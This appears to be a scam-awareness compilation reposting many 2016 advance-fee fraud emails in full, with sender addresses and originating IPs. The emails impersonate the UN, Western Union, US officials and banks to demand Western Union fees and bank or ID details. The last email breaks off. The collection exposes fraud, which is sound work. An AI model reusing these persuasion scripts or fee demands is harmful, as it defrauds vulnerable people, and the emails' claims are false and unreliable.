date:    Tue, Jan 19, 2016 at 7:59 AM
subject:   
mailed-by:    gmail.com
signed-by:    gmail.com

--
Apply for an affordable loan of 3% interest rate, If you are
interested Apply With Name, Country, State, Loan Amount, Loan
Duration, Sex, Phone

Email us: universalprovisionfund@live.com

419 scam email from Rev. Father Godwin Raymond Scam Victim Compensation Payment Director carmel.albino@alice.it willyscott14@yahoo.fr

Originating IP: 41.138.89.212
Originating ISP: Etisalat Benin
City: Cotonou
Country of Origin: Benin

from: Rev. Father Godwin Raymond <carmel.albino@alice.it> 
reply-to: willyscott14@yahoo.fr
to: 
date: Sun, Jan 24, 2016 at 12:51 PM
subject: UN/WB/FNG COMPENSATION COMMISSION
mailed-by: alice.it

OUR REF: UN-FGA/WB4/13
YOUR REF: (UN/WB/FGA)..00/14
BATCH: 807-2011-550/188/14

Attention !!!!

Scam Compensation sum of $1.5000.000.00 dollars approved in your name through
United Nations mass assisted project funds. This compensation involves business
investment failure, Inheritance, Contracts, Lottery, Dating, Diplomatic
Payment, loan E.T.C, the mass assisted fund was approved to settle failed
business / scam extortion. Attn Scam Victim.

We wish to inform you that your scam compensation sum of $1.5000.000.00 united
states dollars approved through United Nations mass assisted project, we have
severally tried to contact you without success, are you willing to receive your
scam compensation? You have to respond as soon as you receive this message
because we have your compensation file submitted by UN external auditors in
Switzerland and we have not heard from you. International global security
watchers reported different degrees of scams and their mouthwatering proposals.
You will never have an opportunity of this kind so your destiny and survival is
in your hands.

1, most times they will contact you to help them claim some certain amount of
money as next of kin, 2, they will send different manners of mouthwatering
proposals of how you become a contractor of some over-invoice amount, they will
present you as inheritor to some funds, They even went to the extent of
promising you marriage which will still end up extorting your hard earned
money, they used different means and stories like buying of gold and precious
stones and scraps which also will result to scam in the end, most times they
impersonates and offer you job opportunities that still end in extorting your
hard earned money and also uses ATM system to reap you off . Their intentions
have always been to wreck you financially and emotionally because nothing good
will be archived in the end. We have comprehensive information about how they
operate through the security
INTEL of international security watchers, they impersonate with fabricated
documents without AICD security chip.

They impersonate FBI and other security offices to intimidate or threatened you
to send them money or go to jail. You will hear more as soon as you respond to
this message.

In furtherance, I presumed you must have been wondering why after paying all
the fees requested by those crooks nothing was paid to you rather they enjoyed
your hard earned money without remorse of their evil deeds. The only funds
approved in your name was $1.5000.000.00 from the United Nations mass assisted
project, those crooks operates through different avenues, locations and from
many countries especially west Africa Nigeria, Spain, Ghana, Benin republic,
London, Malaysia, Indonesia E.T.C.

The funds was approved so that you can invest into your own private business,
it serves as help to your financial growth, it serves as debt reconciliation.
Calculate how much you have sent to them yet not even a cent has been given to
you, for how long will you believe them? Please don’t waste time to contact us
for more information. Finally, you will be surprise to hear more but be happy
that United Nations mass assisted project has come to your rescue whatever you
have gone through in their hands. We are going to provide %100 percent
comprehensive evidence and gazette of how your scam compensation will be
released, you can make inquiry and submit whatever business you are doing at
the moment for security check and Intel report of the truth
in the business. You will not regret rather be bold to expose evil no matter
how they preach and convince you.

You are to confirm and provide to us your postal address below.

YOUR FULL NAME...................
YOUR COUNTRY.....................
YOUR HOME ADDRESS..............
YOUR DIRECT PHONE................
ATM VISA CARD
I am very sorry but I have no more money. I have been scammed so many times I
am mentally and physically broke. I am soon to loose my home and vehicle
because I have been scammed for so much money and so many times and I have lost
every thing I have worked my whole life for...... thinking I would receive my
funds but as to this date I have never received a dime!!!

In addition we urge you to indicate your option of you prefer this fund to get
to you because we have many means by which you have to receive this fund and
those means are as follow:

1, Through diplomatic delivery ?
2, Through ATM VISA CARD ?
3, Through Bank to Bank wire transfer ?

Note: that any one you chose you have to pay equal amount of $300 for the
remittance of fund to you and you should pay it through western union to our
Cashier's name below and forward the payment information to us for immediate
remittance of your fund to you.

Use this information to send the US$300 through western union OR Money gram

RECEIVER NAME: ======== LAWRENCE EKENECH
COUNTRY: ============= BENIN REPUBLIC.
CITY: ================ COTONOU
TEXT Q: ============== HOW LONG?
TEXT A: ============== NOW:
AMOUNT::$300
MTCN===============??

Note: that every claims has an expiring period of five working days (5days) so
you have to do that very urgently to avoid expiration.

Thanks
Your sincerely

Rev. Father Godwin Raymond
Director Of Scam Victim Compensation payment

419 scam email from Mr. Jerry Mike Western Union General Operations Manager mike.@image.ocn.ne.jp westernu249@gmail.com

Originating IP: 41.138.89.197
Originating ISP: Etisalat Benin
City: Cotonou
Country of Origin: Benin

from: Mr.JERRY MIKE <Mike.@image.ocn.ne.jp> 
reply-to: "Mr.JERRY MIKE" <westernu249@gmail.com>
to: 
date: Sun, Jan 24, 2016 at 5:03 AM
subject: ATTENTION: DEAR CUSTOMER,
mailed-by: image.ocn.ne.jp

ATTENTION: DEAR CUSTOMER,

INFORMATION REACHING US FROM OUR CORPORATE HEADQUARTERS NOW, STATES
THAT YOU ONLY HAVE 24HOURS TO EFFECT PAYMENT FOR THE ACTIVATION OF
YOUR MTCN TO ENABLE YOU CASH UP YOUR FIRST INSTALLMENT PAYMENT
$5,000:00 FROM YOUR TOTAL (FUND) SINCE YOU ARE FINDING IT DIFFICULT TO
MAKE THIS PAYMENT WE HAVE DECIDED THAT YOU ARE TO GO AHEAD AND PAY
WHATEVER YOU HAVE FOR THE
ACTIVATION FEE SINCE YOU ARE NOT ABLE TO COME UP WITH THE REQUIRED SUM
OF THE MONEY REQUIRED, TIME IS OF THE ESSENCE HERE.YOU ARE TO PAY
WHATEVER YOU HAVE AS FROM $95 UP FOR THE ACTIVATION FEE; WE WILL
ACTIVATE YOUR MTCN UPON RECEIPT OF THIS PAYMENT.

HERE IS THE INFORMATION OF YOUR FIRST PAYMENT BUT IT IS PLACE ON HOLD
BY THE MANAGEMENT AND YOU CAN NOT BE ABLE TO PICK IT UP UNTIL YOU SEND
THE DEMAND FEE WHICH IS ANY AMOUNT OF MONEY YOU HAVE, JUST TO PROVE
HOW SERIOUS YOU ARE.

https://wumt.westernunion.com/asp/orderStatus.asp?country=BJ

1. SENDER FIRST NAME_____SAHRIR
2. SENDER SECOND NAME____SAAD
3. TEST QUESTION_________VERY
4. TEST ANSWER___________URGENT
5. AMOUNT________________$5,000 USD
6. MTCN__________________916-765-3711 (Available for pick up by receiver)

Current status : Available for pick up by receiver

BE INFORMED THAT YOU WILL HAVE TO PAY THE BALANCE SUM OF YOUR
ACTIVATION UPON CASHING UP OF YOUR FIRST US $5,000 , ALSO I AM USING
THIS MEDIUM TO INFORM YOU THAT FAILURE TO PAY THE BALANCE SUM WILL
LEAVE US WITH NO OPTION BUT TO DEACTIVATE YOUR MTCN, BELOW IS OUR
ACCOUNT OFFICER NAME WHICH YOU WILL USE TO SEND WHATEVER YOU HAVE TO
ENABLE US RELEASE YOUR FIRST PAYMENT
IMMEDIATELY.

1.RECEIVER NAME__________JAMES MIKE
2.COUNTRY________________BENIN REPUBLIC
3.CITY___________________COTONOU
4.TEST QUESTION_________VERY
5.TEST ANSWER____________URGENT
6.MTCN___________________
7.SENDER'S NAME__________

SEND US THE MTCN NUMBER IMMEDIATELY YOU SEND THE MONEY AND IMMEDIATELY
WE CONFIRM THE TRANSFER FEE  WE WILL SEND YOU THE FIRST RECEIPT OF
YOUR US $5,000 TODAY AND NOT TOMORROW.

CALL IMMEDIATELY ON THIS DIRECT PHONE +229-9993 5774 FOR MORE DETAILS
AND DIRECTIVES.

Mr.JERRY MIKE
GENERAL OPERATION MANAGER

419 scam email from Mr. Lawrence Miller Bank of Africa Internal Auditor millerlawrence22@latinmail.com Mr. Abdekabir Bennani Bank of Africa Director bkafricawesst@outlook.com +229-99221908

Originating IP: 169.55.31.217
Originating ISP: Softlayer Technologies
City: n/a
Country of Origin: United States

from: Lawrence Miller <millerlawrence22@latinmail.com> 
to: lawmin@yahoo.fr
date: Sat, Jan 23, 2016 at 8:10 AM
subject: "CONTACT (Bank of Africa) FOR MORE DETAILS OF YOUR PAYMENT."
mailed-by: latinmail.com

Good Day My Dear: Beneficiary,

A pleasant greeting to you and your family. The United National
organizations and Federal Government of Benin has instructions us to
transfer your Compensation fund of $2.7 Million Dollars to you. So kindly
contact us with your bank detail for urgent transfer:

Your Name:….......
Your Country:….......
Your Phone Number:…......
Your Account:….......
Your Address:.......
Your Bank Name:..........
Your Passport Id:…........

BANK Name. Bank of Africa
Director Name. Mr. Abdekabir Bennani
E-mail:  bkafricawesst@outlook.com
Phone: 229 9922-1908
.

Best Regards,
Mr. Lawrence Miller.
Internal Auditor Bank of Africa.

419 scam email from Mr. Mark Alade Western Union Foreign Operation Manager westnunion1011@gmail.com westnunion1011@yahoo.com.my

from: Western Union Money Transfer <westnunion1011@gmail.com> 
reply-to: westnunion1011@yahoo.com.my
to: 
date: Fri, Jan 22, 2016 at 7:38 AM
subject: THIS IS OUR CONDUCT CODE ( 608)
mailed-by: gmail.com
signed-by: gmail.com

Western Union®
Welcome to Western Union
Send Money Worldwide

FROM OFFICE OF THE WESTERN UNION MONEY TRANSFER.
COTONOU BENIN REPUBLIC/ADDRESS 455 AGBOKOU,ANKPA
ROAD OPPOSITE TUNDE MOTORS COTONOU.
WEB:http://site.www.westernunion.com/

ATTN:

We wish to  inform you know that the Hon. Minister of Finance has
ordered  that the only money you will send now to receive your legal
payment is just $85.00 usd only.

Therefore you are  directed to send the $85.00 usd required fee today
so that we can start releasing to you your $5,000.00 usd daily untill
your total funds of Three  hundred and fifty  thousand usd  (
$350,000.00 usd ) is paid to you, but if you fail to comply by sending
this fee within 3 days of this order your total funds would be
confiscated and transferred to government purse,he said that this is
the final order. So We urge you to comply  and send the $85.00 usd
immediately after you receive this email today so we can finalize
every thing today.

Note : You are to reconfirm  your receiver's name as it is needed to
enable us send your first payment immediately we receive the $85.00usd
so that  by tomorrow you will start receiving your $5,000.00 usd
daily.

Below are the payment information to send the $85.00 usd as
instructed: Include the three name as written below .

RECEIVER NAME:..........Kenechukwu  Daniel  Ibeto
COUNTRY...........Cotonou, Benin Republic.
Text Question== In God
Answer...............We Trust.
Amount...............$85.00 dollar only

The moment We receive the payment of $85.00 we will release the first
payment information of $5000 to you and you will pick up the money and
we will send you another money.

Hoping to hear from you.

Mr. Mark Alade
FOREIGN OPERATION MANAGER
WESTERN UNION OFFICEBENIN REPUBLIC
THIS IS OUR CONDUCT CODE ( 608)
Western Union®
Welcome to Western Union

419 scam email from Mr. Tony Kevin IMF Agent India tony.kevin89@yahoo.com

from: Tony Kevin <tony.kevin89@yahoo.com> 
reply-to: Tony Kevin <tony.kevin89@yahoo.com>
to: 
date: Wed, Jan 20, 2016 at 11:32 PM
subject: Did you know the implication of the delays habit you are behaving on this your transaction?
mailed-by: yahoo.com
signed-by: yahoo.com

This IS THE Seven"th time am contacting you about this your long approved fund of $3.5million usd that has been credited into an ATM VISA CARD SINCE 2014.
Did you know the implication of the delays habit you are behaving on this your transaction?
Am sorry if you continue with this way of behavior you may lose your right to receive your fund.
Remember that our government financial law stated that any unclaimed fund that has lasted for a period of 2years and above must  be confiscated and transfer into federal government treasuring as abandon fund. Reason is to put to an end o the culture of scam,because due to many unclaimed fund  on transit ,some criminals /scam impostor  take the opportunity  to scam innocent  civilians .
Am trying my best to make sure i protect this fund from not being sized and to make sure you receive your fund after all this period of years back.

if you appreciate my effort so far ,I advice you to quit any other transaction you are doing and focus on this your transaction to finalized it now before you lose your fund.
Therefore take away any bad feelings you may have in your mind while you settle the needed fee with us to enable you receive your fund.
This will be the last time i will advice you on this same issue.
Regards
Mr. Tony
IMF Agent India

419 scam email from Mr. Ben Forbes Kerry United States Secretary of State ben.@image.ocn.ne.jp usdepartment9@gmail.com

Originating IP: 41.216.50.80
Originating ISP: Opt Benin / Benin Telecom
City: Porto-novo
Country of Origin: Benin

from: Mr. Ben Forbes Kerry <Ben.@image.ocn.ne.jp> 
reply-to: "Mr. Ben Forbes Kerry" <usdepartment9@gmail.com>
to: 
date: Wed, Jan 20, 2016 at 12:26 PM
subject: U.S Department of State
mailed-by: image.ocn.ne.jp

U.S Department of State
Washington, DC 20520
2201 C Street NW.


Your ATM Visa Card Will Be Shipped Through USPS To Your Address
I am Mr. Ben Forbes Kerry, United States Secretary of State by
profession. This is to inform you officially that after our
investigations with the Federal Bureau of Investigation (FBI), Central
Intelligence Agency (CIA) and other Security Agencies
in the Country for the year ended 2015, we discovered that you have
not receive your fund.
I have made it my first point of call since taking office to settle
all Outstanding Payments accrued to Individuals or
Corporations with respect to local and overseas contract payment, Debt
Rescheduling and Outstanding Compensation payment.
This is to make sure all Outstanding payments are settled beginning of
this fiscal year 2016. On Behalf of the entire staff
of the U.S. Department of State and the United Nations in
collaboration with World Bank, we apologize for the delay of your
contract payment, Winning or Inheritance funds from most of African
Countries and all the inconveniences you encountered
while pursuing this payment.

However, from the records of outstanding beneficiaries due for payment
with the U.S Secretary of State, your name was
discovered as next on the list of the outstanding payment who has not
yet received their payments.
Note that from the record in my file, your outstanding contract
payment is $20, 800,000.00 (Fourty Million Eight Hundred
Thousand Dollars) loaded in an ATM Visa Card that allows you to make a
daily maximum withdrawal limit of $5,000 Five
Thousand Dollars).

I have your file here in my office and it says that you are yet to
receive your fund valued at $20,800,000.00 (Fourty
Million Eight Hundred Thousand Dollars). This Funds will now be
delivered to your designated address or your preferred
payment option.

We have perfected all modules on how to bring this fund to your house
without any problem, but be aware that United Nations
and the United States Government has only authorized my office to
release the Sum of $20,800,000.00 to you as true
beneficiary of the Fund.

Note that your loaded ATM Visa Card will be mailed to you through
Priority Mail Express (USPS) to your designated address
immediately you admit full compliance to this email. You are advised
to kindly reply this email with the below details
enclosed to help ensure safe mailing of your ATM Visa Card:

Your Full Name:
Your Contact House Address:
Name of City of Residence:
Country of Residence:
Direct Mobile Telephone Number:
ID Card, DL or Passport Copy:
Age and Occupation:

NOTE: Every documentation proof for your fund have been packaged and
seal to be mailed together with your Visa Card to your
address. Therefore, the only obligation required of you by the laws of
the Government of United States and the financial
Monetary Policy of the Supreme Court, states that; you as a
beneficiary must officially obtain the irrevocable LEGAL STAY OF
PROCEED from the Supreme Court of USA, as a means to justify the
legitimacy, transparency and clean bill of funds from USA so
that by the time your funds gets to you, no authority will question
the funds as it has been legally certified free from all
financial Malpractices and facets. The LEGAL STAY OF PROCEED is valued
at a cost of just ( $250) The fee payment can be
made through Western union or Money Gram Money Transfer here in the USA:

SEND THE FEE VIA WESTERN UNION OR MONEY GRAM MONEY TRANSFER:

Receiver Name....Steven Jude Gavi
Address.........<removed to protect victim identity> Texas <removed to protect victim identity>
Text Question: Good
Text Answer: Good
Amount: $250

After you make the payment, then kindly fill the below details or
attach to us the payment slip:

MTCN:
Senders name:
Senders address:
Sender current cell phone:

As soon as the above mentioned details are received, The LEGAL STAY OF
PROCEED will be secured on your behalf immediately. I
need all the compliance that I can get from you to ensure we get this
project accomplished. Personally, I am very sorry for
the delay you have gone through in the past years. Thanks for adhering
to this instructions which are meant for your sole
benefit, once again accept my congratulations in advance.
Thanks for your cooperation as your quick response to this email
notice with adherence to the above instructions is highly anticipated.

Yours Sincerely,
Mr. Ben Forbes Kerry,

Thursday, January 28, 2016

419 scam email from Mr. James Come Central Bank of Benin Recovery Fund Director kystmin7@yahoo.co.jp stevegrant211@gmail.com jamesoffice672@gmail.com

Originating IP: 197.234.219.18
Originating ISP: Spacetel Benin
City: Cotonou
Country of Origin: Benin

Sender: kystmin7@yahoo.co.jp
from:    Mr.James Come <stevegrant211@gmail.com>
reply-to:    "Mr.James Come" <jamesoffice672@gmail.com>
to:   
date:    Sun, Jan 24, 2016 at 1:52 PM
subject:    How are you doing today my dear

CENTRAL BANK DU BENIN REPUBLIC
BP 2700 COTONOU

How are you doing today my dear

Your silence is some kind of shocking to this office, are you aware
that we have completed the verification of your details for the
claiming of your $ 10.6 millions usd funds as the regulation requires? if
we must proceed with your transaction then you must keep frequent
reply; this is a Ministry and there are certain rules to be followed
before the fund will not have any problem in reaching you and after
our meeting this morning,it has been decided that you either claim the fund
or as the fund owner order the termination of the fund and lose the
fund to be ordered back to the Government Reserves Account as an
unclaimed fund, I really wish you to claim this fund but not with the
character you have showed which simply shows you are willing to let
the fund go.

Please note: this morning after our meeting where we submitted your
files for the fund claim and its approval, the Board now want you to
send to us your scan signature which will allow us to terminate the
fund if you are not ready to meet up the requirement for the stamp
duty fee which is $35.

I emailed you several times and you did not respond and I feel you are
ready to lose it, if you have had or been affected by the fraud in
Africa, I want you to know today that this is the chance you have to
receive your only approved fund in Africa, I did mentioned to you that
you were just unlucky to lost the money you lost because you dealt
with impostors and now you have a great chance which I want you to try
trusting my word, please decide today and let us know.

Details of sending the stamp fee of $35.00 are below and please send
it as i directed you below without mistake;

Receiver’s name:::FRANK ONU
Country: Benin Republic
City:Cotonou
Question: Try
Answer: Best
Amount: $35
Mtcn control number…….
Sender’s name……..
Sender’s address………
Sender’s phone………

Thank you for your understanding while I am waiting for the payment details.

Yours sincerely
Mr.James Come, director recovery fund.

419 scam email from Sharon King bis@isk.net.pl sharonkinglove@gmail.com

Originating IP: 199.180.114.143
Originating ISP: Onthefly
City: Poland
Country of Origin: United States

from:    bis@isk.net.pl
reply-to:    sharonkinglove@gmail.com
to:    Recipients <bis@isk.net.pl>
date:    Wed, Jan 13, 2016 at 11:04 PM
subject:    foundation/Estate
mailed-by:    isk.net.pl

I am Sharon King, I have a foundation/Estate> uncompleted {valued at $5,300,000.00 USD} ,Please can we have a decision, I need you to help me finish it> because of my health, Everything is available. Please contact me on personal email only for more details  sharonkinglove@gmail.com 
Thanks, I await your mail.
Sharon King

419 scam email from Hon. Hazard Morris Internal Revenue Service IRS Commissioner kystmin7@yahoo.co.jp stevegrant211@gmail.com hranhofficebenin@gmail.com

Originating IP: 197.234.219.24
Originating ISP: Spacetel Benin
City: Cotonou
Country of Origin: Benin

Sender: kystmin7@yahoo.co.jp
from:    Hon. Hazard Morris <stevegrant211@gmail.com>
reply-to:    "Hon. Hazard Morris" <hranhofficebenin@gmail.com>
to:   
date:    Fri, Jan 22, 2016 at 2:50 PM
subject:    Attention: Owner

Attention: Owner Of This Email:

We write to inform you that your package with reference number
20705729 has been in Customs facility custody waiting for resolutions
of the clearance to further the delivery to your delivery address by
the delivery Agent who came all the way from Africa.We have been
waiting for you to contact us regarding your ATM VISA CARD containing
sum of $10.500.000.00 USD which the agent suppose to deliver to you
which has been on hold by USA Customs Department and they are
requesting for clearance certificate which will be obtain from the
origination of the ATM VISA CARD before it will be released from the
Customs to the delivery agent to complete the delivery.

After the phone call we made on your behalf to the USA Customs
Authority and the Government of Republic Of Benin, it was resolved
that the delivery of your card to your address must be complete within
two (2) working days upon your compliance to our directives; You
should send the sum of $49.00 USD to obtain the needed
Ownership-clearance certificate from Cotonou Benin Republic.

The clearance charges which was initially on the high price has been
cut down by the US Embassy in Cotonou Benin Republic considering the
poor economic situations that make it difficult for the middle class
citizens to meet up with the clearance of their entitlement.We will
upon the confirmation of your clearing charge assign our Diplomatic
Agent (MR.ADAMS BENSON) to travel to your USA and collect your package and proceed with the delivery.

Once you notify us with the payment information and the needed
Ownership-clearance certificate from Republic Of Benin, the USA
Customs will release your ATM VISA CARD  to you and it will be
delivered to you by the agent.

Note that you are expected to pay only $49.00 usd for Ownership-clearance certificate and you are to pay it to COTONOU BENIN REPUBLIC as the origination of the package with the receiver information of DEN OKORO as our accountant officer in Cotonou Benin Republic.Send the $49.00 usd through Western union once you receive this mail with the information below for immediate release of your package,

Receivers Name:::::FRANK ONU
Country::::::::::Benin Republic
City::::::::::::Cotonou
Test Question:::::::WHEN
Answer:::::::::::::NOW
Amount:::::::::::$49.00usd

Once you send the money to Cotonou Benin Republic. to this name,
please try to notify us with the MTCN so that we can contact (FRANK ONU) for easy pick up and for immediate action on the release of your
Ownership-clearance certificate.

Note that any unclaimed ATM VISA CARD will be return to Benin Republic
Government after 3 days. So you are urgently advised to comply with
our directives so that the Customs will release your card.

Thank You.

Yours Sincerely.

Hon. Hazard Morris
Commissioner of Internal Revenue Service (IRS) 

419 scam email from Mrs. Rose Mark International Monetary Funds Payment Office donough.@piano.ocn.ne.jp citybank346@gmail.com +229-99941635

Originating IP: 41.86.234.165
Originating ISP: Isocel Telecom
City: Cotonou
Country of Origin: Benin

from:    Denis Richard McDonough <Donough.@piano.ocn.ne.jp>
reply-to:    "Mrs, Rose Mark" <citybank346@gmail.com>
to:   
date:    Thu, Jan 21, 2016 at 7:29 PM
subject:    Attention: Please,
mailed-by:    piano.ocn.ne.jp

01 Bp 1478 Cotonou. Benin Republic
Tele phone: +229 99941635
Direct Address[citybank346@gmail.com)

Attention: Please,

A power of attorney was forwarded to our office this morning by one gentle man and he is a citizen from united state of America and his name is Mr. Richard S. Goldberg This man claimed to be your representative and this power of attorney stated that you are dead after brief illness and he brought account to replace your information in other to claim your fund of $15.5million us dollars which is now lying dormant and unclaimed, below is the new account he have submitted:

City Bank
Account# / 6503809428.
Routing/122006743,
Address 1076 Peter Johnson Road
New  York, USA,

Be further informed that this power of attorney also stated that you suffered and died of a throat cancer. You are therefore given 24hrs to confirm the truth in this information, If you are still alive, You are to contact us back immediately, Because
we work 24 hrs just to ensure that we monitor all the activities going on in regards to the transfer of beneficiaries inheritance and contract payment.

You are to call this office immediately for clarifications on this matter as we shall be available 24 hrs to speak with you and give you the necessary guidelines on how to ensure that your payment is wired to you immediately and also be inform that any further delay from your side could be dangerous, as we would not be held responsible for any wrong payment. Contact us as soon as possible if you are truly alive as we have his identification and residence he provide for us to wired the payment to him.

The total amount you have is $15,5Million USA Dollars. Here is the information’s to send the money so that we will help you complete it because the $95.00 is only money you have to send until you receive all your payment complete, Send the money through western union money transfer below:

Receivers Name:.. .FRANK IBA
Country ...Benin Republic
City ....Cotonou
Test Question....OK
Answer ...YES
AMOUNT to send:... $95.USD

I am looking forward to hear from you right way because i hate any thing promise and fail, The amount you have to send now is $95.00 but please make sure that you send the money once you receive this mails so that we will give the  full information’s
for you to pick up the first payment immediately. After you send the needed $95.00 before we can give you full information’s to pick it up today.

I swear to God almighty Father. If I fail to release your payment within 2hours after you send the $95.00 as I promise you that you receive, please I am expecting you with western union payment information’s so that the transfer will commence immediately without further delay because i believe that we will conclude this transaction successful this year. As you can see that I swear against because this transaction and also to show you the honest and truth I am if i confirmed that you are
alive?

MTCN NO
SENDER NAME?
Meanwhile you are advice to reconfirm your detail such as
Your full name...........
Your full Address......
And your current working telephone number............

Thank you.
Mrs, Rose Mark
International Monetary Funds Payment Office.
Republic Du Benin

419 scam email from Barrister Mark Henry Federal High Court of Justice Benin Republic .sanyei.@mint.ocn.ne.jp Mr. Kevin Williams MoneyGram Manager mr.kevin_williams@foxmail.com +229-68970143

Originating IP: 41.222.194.237
Originating ISP: Isocel
City: Cotonou
Country of Origin: Benin

from:    Barrister Mark Henry <.sanyei.@mint.ocn.ne.jp>
reply-to:    Barrister Mark Henry <mr.kevin_williams@foxmail.com>
to:   
date:    Wed, Jan 20, 2016 at 10:33 AM
subject:    Attention please
mailed-by:    mint.ocn.ne.jp

Attention please

Before I commence I will like to explain myself to you,My Name is Barrister Mark Henry from Federal High Court of Justice Benin Republic.Please contact money gram office for your funds worth sum of $4.800, 000.00 has been released to they and the transfer began today through money gram office and amount which you will be receiving each day is $6,500.00 daily.so contact the manager in money gram right now and ask him for your first payment, money gram offices manager name is MR.KEVIN WILLIAMS, and ask him to send you the first payment and also send them your information to enable them activate your account file so that you will be able to pick your first payment today or tomorrow morning ok. email(mr.kevin_williams@foxmail.com)

Note: that the only fee you have to pay them is for activate of your payment file sum of $125 before they will start sending your daily payment of $6,500.00 per a day. My Good friend please make sure you comply for your funds shall be transfer with your designated address.So contact the money gram director with below information listed and co-operate in good manner with him to enable the bank help you out get your wining funds.

Contact person: MR.KEVIN WILLIAMS, the money gram manager. Contact phone#: +229 6897-0143 contact e-mail :(mr.kevin_williams@foxmail.com)
These are the information you have to fill and send to them.

1. Your receiver's name=====
2. Your country========
3. Your city========
4. Your telephone=======
5. Your sex/age===========
6. Your address:===========
7. Your id passport=====
8. Your test question========
9. Your answer=========
10. Your occupation=====

Promotion officer
Yours sincerely,
Names: Barrister Mark Henry    ,

419 scam email from Mrs. Monica Daniel marybuky2015@outlook.com Mr. Richard J. Junior Western Union Managing Director richard.jacksonjunior@yahoo.com

from:    mary buky2015 <marybuky2015@outlook.com>
reply-to:    richard.jacksonjunior@yahoo.com
to:   
date:    Wed, Jan 20, 2016 at 4:16 AM
subject:    From the desk of Mrs. Monica Daniel.
mailed-by:    outlook.com

From the desk of Mrs. Monica Daniel.

I am here by apologizing for the delayed of your $150,000.00, One Hundred and Fifty Thousand United State Dollars. I travelled out of country since and have been in South Korea all this while; I just came back on friday last week.

However I asked WESTERN UNION OFFICE, in the person of Mr. Richard J. Junior about your funds and he told me that you haven`t gotten your fund till this day. I asked him why and he explained to me that you couldn't be able to pay the required fee needed to start releasing your payments. I ask him why the fee, and such huge amount from you instead of $135, I instructed him before I traveled.

Right now the only amount you have to send to my (Secretary Eugene Iloabuchi) is only $130 for the activation of your Western Union VAT File Paper, to entitle you receiving your daily payments till done? The $130 should be sending to below:

Here is information to send the fee both western union money gram

Receiver:::Frank Onu
Country: Benin Republic
City : Porto Novo
Question:A
Answer: B
Amount: $130
Mtcn:::
Sender name:


Be advice that after this very $130, there will be no payment for thing again than your daily confirming payment of $4,200 till the
whole $150,000.00 is completed.

My word and order to the western union Managing Director is that you should pay only $130 no more no less. Therefore if anybody ask you for any additional payment after you paying $130, kindly report to me because the person has cross line of my orders.
Contact Mr. R J Junior on (richard.jacksonjunior@yahoo.com)


Please I'm real sorry for the inconveniences this delayed might cause to you.

Happy New Year:
Mrs. Monica Daniel

419 scam email from Dr. Green Vincent Diamond Bank Plc. ivan@speedy.com.ar diamondbankplc387@yahoo.com.hk

Originating IP: 41.85.176.94
Originating ISP: Opt Benin / Benin Telecom
City: Cotonou
Country of Origin: Benin

from:    Dr.GREEN VINCENT <ivan@speedy.com.ar>
reply-to:    diamondbankplc387@yahoo.com.hk
to:   
date:    Mon, Jan 25, 2016 at 6:00 AM
subject:    Attention,
mailed-by:    speedy.com.ar

DIAMOND BANK PLC WEST AFRICAN STATES (DIAMOND BANK PLC)
Avenue Cotonou , BP 988 Cotonou Benin Republic.
Telex :5211 F B COTONOU BENIN REPUBLIC .
Email(diamondbankplc387@yahoo.com.hk)
(diamondbankplc387@yahoo.com.hk)
From the desk of, Dr.GREEN VINCENT
Director Payment Department.DIAMOND BANK PLC
of West African(DIAMOND BANK PLC)

Attention,

Before I commence I will like to explain myself to you, my name is Dr.GREEN VINCENT,The new director officer of DIAMOND BANK PLC Benin Republic West African, my dear, I want to use this opportunity to inform you that I was now the director and it have not been a month now, so I went through the scheme of work of this honourable bank and find out that your name and your fund valued $15.5million dollars was here for six months.

So it amaze me so much and I went to the office of IMF office Benin and reported this to them to know what is their aim and they told me that bank former director Mr.Larry James was the one that curse all this he collect money for peoples and then refuse to wired their fund to them, so my dear the Lord I serve will not allow such to happen here in my seat, so I hereby to declare to you now to get us your full information so that your fund will be wired into your account immediately ok without wasting you time, I do not like betraying people and no one will do such to me.

This is what we needed from you now so that your fund will be wired through this bank immediately,

Your account number;........
Name of bank;..............
Bank address;.............
Bank user name;............
Routing number;............
Home address; .............
Copy of id; ................
Your phone number;.......
Your occupation; ...........
Your Age & Sex:...........
Your Country: ..........
Your State of:........
Your Origin :.........
?
Once you forward this to this bank I assure you that you are to
receive your fund with 48hrs ok,
Email(diamondbankplc387@yahoo.com.hk)
(diamondbankplc387@yahoo.com.hk)

Best Regard
Dr.GREEN VINCENT

419 scam email from Dr. Charles Weller info11officea@gmail.com

from:    Charles Weller <info11officea@gmail.com>
to:   
date:    Fri, Jan 22, 2016 at 4:38 AM
subject:    RELIABLE BUSINESS CONSULTATION
mailed-by:    gmail.com
signed-by:    gmail.com

From the Desk of
Dr. Charles Weller

Attn:

I wish to seek your assistance for the transfer of US$40M depository made by a foreign investor for an investment programmed that has remained dormant for years now. I discovered that the account holder died without making a WILL on the depository.

This money cannot be approved to a local bank account holder, but can only be approved to a foreigner. If you will stand as next of kin to the fund, it will be shared 50%/50%, as this is a TWO-men business deal transaction.
I shall provide you with more details and relevant documents that will help you understand the transaction. I need your assistance and co-operation to this reality as I have done my Home-work and fine tune the best way to create you as the beneficiary of the fund. My position as the branch manager of the bank will be used to advance this deal.

I will like you to provide immediately your full Names and Address, Date of Birth, Occupation, Tel & Fax Numbers so that an Attorney will be able to prepare the necessary documents and affidavit which will put you in place as the next of kin. The Attorney will draft and carry out the notarization of the WILL and also obtain the necessary documents and letter of probate/administration in your favor for the claim.

I will appreciate your early reply for commencement of business. Contact me for acknowledgment by E-mail and whereby you are not interested; please indicate in your reply so that I can seek for the assistance of someone else.

If this proposal is acceptable by you, I expect that you will not take undue advantage of the trust I will bestow in you. I await your urgent response.

 I await your urgent response.

Thanks with great regards.

Dr. Charles Weller

419 scam email from John Glover Roberts Jr. Chief Justice of the U.S. Supreme Court tcddx609@yahoo.co.jp britishhighcommission860@gmail.com supremecourtunitedstate7@gmail.com

Originating IP: 197.234.219.49
Originating ISP: Spacetel Benin
City: Cotonou
Country of Origin: Benin

Sender: tcddx609@yahoo.co.jp
from:    SUPREME COURT OF UNITED STATES <britishhighcommission860@gmail.com>
reply-to:    SUPREME COURT OF UNITED STATES <supremecourtunitedstate7@gmail.com>
to:   
date:    Mon, Jan 25, 2016 at 5:37 AM
subject:    CHIEF JUSTICE OF THE SUPREME COURT OF UNITED STATES.

SUPREME COURT OF UNITED STATES. 1600 Pennsylvania Avenue NW Washington DC 20500. USA.
From: John Glover Roberts Jr, Chief Justice of the Supreme Court of the United States

Attention: ,

